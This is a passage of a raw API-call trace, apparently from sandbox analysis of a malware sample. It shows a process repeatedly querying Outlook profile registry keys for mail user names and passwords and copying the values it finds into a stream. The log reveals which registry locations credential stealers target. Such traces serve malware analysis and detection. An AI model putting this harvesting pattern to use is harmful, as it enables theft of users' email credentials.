WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cjvue@idhe.com", cchWideChar=15, lpMultiByteStr=0x76a770, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cjvue@idhe.com", lpUsedDefaultChar=0x0) returned 15 [0054.987] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeeccc) returned 0x0 [0054.987] lstrlenA (lpString="Email") returned 5 [0054.987] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeeca8) returned 0x0 [0054.987] IStream:Commit (This=0x7473d8, grfCommitFlags=0x10010888) returned 0x0 [0054.987] lstrlenA (lpString="cjvue@idhe.com") returned 14 [0054.987] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeeca8) returned 0x0 [0054.987] IStream:Commit (This=0x7473d8, grfCommitFlags=0x76a770) returned 0x0 [0054.987] LocalFree (hMem=0x76a770) returned 0x0 [0054.987] LocalFree (hMem=0x759000) returned 0x0 [0054.987] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.987] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP User", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x77143f9f | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.987] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.987] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.987] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP User", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.987] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.987] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.987] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP User", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.987] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.988] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.988] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.988] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.988] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.988] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.988] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.988] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.988] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.988] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.988] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.988] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x3, lpData=0x0, lpcbData=0xeecb8*=0xc) returned 0x0 [0054.988] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a770 [0054.988] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x76a770, lpcbData=0xeecb8*=0xc | out: lpType=0x0, lpData=0x76a770*=0x63, lpcbData=0xeecb8*=0xc) returned 0x0 [0054.988] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.988] IsTextUnicode (in: lpv=0x76a770, iSize=12, lpiResult=0x0 | out: lpiResult=0x0) returned 1 [0054.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cjvue", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0054.988] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x940a908 [0054.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cjvue", cchWideChar=6, lpMultiByteStr=0x940a908, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cjvue", lpUsedDefaultChar=0x0) returned 6 [0054.988] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeeccc) returned 0x0 [0054.988] lstrlenA (lpString="POP3 User") returned 9 [0054.988] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeeca8) returned 0x0 [0054.988] IStream:Commit (This=0x7473d8, grfCommitFlags=0x100108a8) returned 0x0 [0054.988] lstrlenA (lpString="cjvue") returned 5 [0054.988] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeeca8) returned 0x0 [0054.988] IStream:Commit (This=0x7473d8, grfCommitFlags=0x940a908) returned 0x0 [0054.988] LocalFree (hMem=0x940a908) returned 0x0 [0054.988] LocalFree (hMem=0x76a770) returned 0x0 [0054.988] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.988] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x77143f9f | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.988] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.988] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.989] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.989] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.989] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.989] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.989] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.989] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.989] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.989] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.989] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.989] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.989] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.989] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.989] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.989] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.989] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.989] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.989] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.989] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.989] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.989] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.989] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.989] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.989] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.990] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.990] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.990] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.990] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.990] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.990] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.990] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.990] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.990] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.990] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.990] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.990] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.990] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.990] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.990] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.990] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.990] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.990] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.990] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.990] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.990] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.990] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.991] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.991] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.991] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.991] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.991] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.991] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.991] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.991] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.991] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.991] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.991] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.991] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.991] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.991] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.991] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.991] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.991] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.991] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.991] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.991] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.991] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.991] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.991] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.992] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.992] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.992] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.992] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.992] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.992] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.992] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.992] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.992] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.992] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.992] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.992] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.992] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.992] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.992] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.992] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.992] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.992] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.992] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.992] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.992] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.992] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.993] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.993] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.993] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.993] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.993] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.993] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.993] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.993] RegCloseKey 